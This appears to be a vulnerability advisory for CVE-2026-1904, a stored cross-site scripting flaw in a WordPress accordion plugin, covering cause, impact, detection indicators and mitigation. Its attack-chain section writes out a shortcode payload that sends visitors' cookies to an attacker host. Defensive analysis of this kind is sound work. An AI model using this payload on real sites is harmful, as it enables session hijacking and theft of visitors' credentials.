CVE-2026-1904: 
WordPress vulnerability analysis and mitigation

CVE-2026-1904 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Wp Colorfull Accordion plugin for WordPress. It affects all versions up to and including 1.0, stemming from insufficient input sanitization and output escaping on the title parameter within the accordion shortcode. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists because the plugin fails to sanitize user-supplied input in the title parameter of the accordion shortcode before storing it, and fails to properly escape it on output. An attacker with at least Contributor-level WordPress access can craft a malicious shortcode containing JavaScript, which is then stored in the database and rendered in the browser of any user who visits the page containing the injected content (Red Hat CVE, Infinitsec).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of site visitors, including administrators, potentially leading to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. Because the payload is stored server-side, every user who loads the affected page is exposed without any further attacker interaction. The scope is marked as Changed, meaning the impact extends beyond the vulnerable component to the browsers of affected users (Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1904 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Simple Wp Colorfull Accordion plugin version 1.0 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert the accordion shortcode with a malicious title parameter, e.g., [accordion title="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]...[/accordion].
4. Publish Content: Submit or publish the post/page containing the injected shortcode, causing the malicious payload to be stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the page, the stored JavaScript executes in their browser, enabling session hijacking, credential theft, or further attacks (Red Hat CVE, Infinitsec).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing accordion shortcode content with suspicious script tags or encoded JavaScript in the title parameter.
• Database: WordPress wp_posts table entries containing <script>, javascript:, onerror=, or similar XSS payloads within accordion shortcode title attributes.
• Network: Outbound browser requests from site visitors to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages containing the accordion shortcode.
• File System: No direct file system artifacts expected for stored XSS; however, monitor for new or modified plugin files in wp-content/plugins/simple-wp-colorfull-accordion/ that may indicate plugin tampering.

The primary remediation is to update the Simple Wp Colorfull Accordion plugin beyond version 1.0 once a patched release is available from the WordPress plugin repository. If no patch is available, site administrators should deactivate and remove the plugin immediately. As a compensating control, restrict Contributor-level user registration and audit existing Contributor accounts for unauthorized content. Web Application Firewalls (WAFs) with XSS filtering rules can provide partial mitigation (Red Hat CVE, Wordfence).

Wordfence included CVE-2026-1904 in their weekly WordPress vulnerability report for the period of February 9–15, 2026, as part of routine plugin vulnerability tracking (Wordfence). Spanish national cybersecurity agencies INCIBE-CERT and CCN-CERT also published advisories referencing the vulnerability (INCIBE). No significant broader media coverage or notable researcher commentary has been identified beyond standard vulnerability database aggregation.